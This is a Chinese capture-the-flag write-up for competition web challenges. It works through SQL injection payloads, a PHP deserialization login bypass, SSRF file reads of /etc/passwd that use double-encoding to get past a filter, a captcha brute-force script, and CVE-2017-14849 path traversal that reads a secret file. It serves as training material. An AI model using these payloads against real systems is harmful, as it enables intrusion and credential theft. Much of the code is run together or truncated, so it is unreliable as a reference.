网络安全管理职业技能竞赛Web writeup
网络安全管理职业技能竞赛Web writeup
本文首发于“合天网安实验室” 作者:ch3ng本文涉及知识点靶场练习:CTF从入门到实践-CTF一站式学习平台-合天网安实验室0x01 easy_sql一开始看到是easysql,那就先上sqlmap跑跑看,跑出了数据库名security以及若干表名

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23?php//a "part" of the source code herefunction sqlWaf($s){$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>||;|"|\^|\||\ |\'/i';if (preg_match($filter,$s))return False;return True;}if (isset($_POST['username']) $username = strval($_POST['username']);$password = strval($_POST['password']);if ( !sqlWaf($password) )alertMes('damn hacker' ,"./index.php");$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";// password format: /[A-Za-z0-9]/$result = $conn->query($sql);if ($result->num_rows > 0) {$row = $result->fetch_assoc();if ( $row['username'] === 'admin' } else {$message = "username or password wrong, are you admin?";}} else {$message = "wrong user";}} else {$message = "user not exist or wrong password";}}?>password被过滤了,usename没有过滤,使用联合查询,构造username和password返回admin即可username=admin1'+union+select+'admin','admin','admin'%23try {if (is_array($last_login_info) }} catch(Exception $e) {die('Error');}} else {$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;setcookie ('last_login_info', $cookie, time () + (86400 * 30));}···conn.php源码?phpinclude 'flag.php';class SQL {public $table = '';public $username = '';public $password = '';public $conn;public function __construct() {}public function connect() {$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");}public function check_login(){$result = $this->query();if ($result === false) {die("database error, please check your input");}$row = $result->fetch_assoc();if($row === NULL){die("username or password incorrect!");}else if($row['username'] === 'admin'){$flag = file_get_contents('flag.php');echo "welcome, admin! this is your flag -> ".$flag;}else{echo "welcome! but you are not admin";}$result->free();}public function query() {$this->waf();return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");}public function waf(){$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "", "^", "_", "`", "{", "|", "}", "", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];foreach ($blacklist as $value) {if(strripos($this->table, $value)){die('bad hacker,go out!');}}foreach ($blacklist as $value) {if(strripos($this->username, $value)){die('bad hacker,go out!');}}foreach ($blacklist as $value) {if(strripos($this->password, $value)){die('bad hacker,go out!');}}}public function __wakeup(){if (!isset ($this->conn)) {$this->connect ();}if($this->table){$this->waf();}$this->check_login();$this->conn->close();}}?>可以看到在check_login中,有个flag的输出点,前提是我们需要伪造成admin用户继续往下看,有个执行SQL语句的地方
public function query() {$this->waf();return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");}下面还有个waf,看了一下,发现我们需要构造的万能密码所用到的字符不会被ban$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "", "^", "_", "`", "{", "|", "}", "", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];foreach ($blacklist as $value) {if(strripos($this->table, $value)){die('bad hacker,go out!');}}所以这里我们可以利用SQL注入来变成admin登录,username改为admin,password为万能密码a' or '1'='1,代码如下:?phpinclude "conn.php";$sql = new SQL();$sql->table = "users";$sql->username = "admin";$sql->password = "a'or'1'='1";$a = serialize($sql);echo $a;echo base64_encode ($a);
得到TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,输入之后获得flag0x04 ssrfME访问可以看到有两个输入点,一个可以输入url,一个是验证码
脚本爆破验证码
?php for ($i=0; $i 1000000000; $i++) { $a = substr(md5($i), -6, 6); if ($a == "d17b5b") { echo $i; break; } } ?>尝试使用file协议读取,发现读取/etc/passwd成功读取/flag,没成功,尝试读取/var/www/html/index.php,得到源码,原来是有个waf过滤了flag···if (isset($_POST['url']) $captcha = $_POST['captcha'];$is_post = 1;if ( $captcha !== $_SESSION['answer']){$die_mess = "wrong captcha";$is_die = 1;}if ( preg_match('/flag|proc|log/i', $url) ){$die_mess = "hacker";$is_die = 1;}}···file协议读flag,利用两个url编码flag绕过url=file:///%25%36%36%25%36%63%25%36%31%25%36%37const path = require('path');const env = require('dotenv').config();const bodyParser = require('body-parser');const crypto = require('crypto');const fs = require('fs')const hbs = require('hbs');const process = require("child_process")const app = express();app.use('/static', express.static(path.join(__dirname, 'public')));app.use(bodyParser.urlencoded({ extended: false }))app.use(bodyParser.json());app.set('views', path.join(__dirname, "views/"))app.engine('html', hbs.__express)app.set('view engine', 'html')app.get('/', (req, res) => { res.render("index")})app.post('/', (req, res) => { if (req.body.auth 在给出dockerfile中,文件内容为FROM node:8.5COPY ./src /usr/local/appWORKDIR /usr/local/appENV FLAG=flag{**********}RUN npm i --registry=https://registry.npm.taobao.orgEXPOSE 80CMD node /usr/local/app/app.js去搜索相关内容,发现了可能会存在CVE-2017-14849漏洞
输入/static/../../a/../../..//etc/passwd,利用成功
接着去获取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849
根据源码中的条件if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )我们将CVE-2017-14849进行md5加密之后提交即可获得flag,auth=10523ece56c1d399dae057b3ac1ad733
![]()